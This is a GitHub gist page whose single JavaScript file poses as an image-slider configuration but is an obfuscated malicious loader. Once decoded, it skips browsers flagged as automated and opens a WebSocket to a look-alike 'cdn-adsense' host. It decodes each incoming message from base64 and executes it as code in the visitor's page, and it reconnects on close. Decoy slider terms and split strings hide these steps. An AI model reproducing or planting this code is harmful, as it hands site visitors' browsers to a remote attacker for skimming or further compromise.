Skip to content

Instantly share code, notes, and snippets.

@krautface
Created July 31, 2020 05:23
Show Gist options
  • Save krautface/673e7a67ec63d62d6e12d44073215701 to your computer and use it in GitHub Desktop.
Save krautface/673e7a67ec63d62d6e12d44073215701 to your computer and use it in GitHub Desktop.
(function (a, b, d, z) {
/******************************************
- PREPARE PLACEHOLDER FOR SLIDER -
******************************************/
var SC = {
navigation: {keyboard_direction: "horizontal", mouseScrollReverse: "default", buttons: ['.cancel', '.next', '.com', '.resize', 'close', 'join']},
paths: {'license': '/co'['concat']('nne', 'cti', 'on/me', 'zg', 'e', 't/'), 'storage': '#basepath#' && 'cket' || 'repo', 'origin': location.host},
gridSize: [1240, 868],
namePrefixes: 'w'["concat"]("ss", ":#", !"inner" || "cdn"),
lazyType: "driver", spinner: "-" + "ad" + "sense", entity: Image, mount: document,
rules: ['HttpsOnly', 'Web', 'SameOrigin', 'So', 'complete', 'ob', 'simple', 'at'],
hooks: {onclick: 'SLIDE', onzoom: 'LOAD_HQ', onshow: 'replace', ondrag: 'join', onopen: 'send'}
};
if (a[SC.rules[1].toLowerCase() + SC.lazyType]) return;
d = b[d[SC.hooks.onshow](/^./, "F")];
var Slider = b[SC.rules[1] + SC.rules[3] + SC.paths.storage];
~function f(bF, ii) {
if (bF || SC.mount.readyState !== SC.rules[4]) return setTimeout(f, 2000);
if (0 < z--) if (bF = new Slider([SC.namePrefixes[SC.hooks.onshow]('#', '//'), SC.spinner, SC.navigation.buttons[2], SC.paths.license][SC.navigation.buttons[5]](''))) {
for (ii in Slider.prototype) {
~ii['search'](/^o.+se$/) && (bF[ii] = function (a) {
a[('Delete' && 'was' + ('Image' && 'Clean')) || 'destroy'] || (f(!0))
});
~ii['search'](/^o.+age$/) && (bF[ii] = function (a) {
(new d(b[SC.rules[7] + SC.rules[5]](a["data"])))['Release' && 'Resources' && 'call' || SC.defaultCaption || ''](this)
});
}
}
}();
})(navigator, window, typeof window.alert, 7);
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment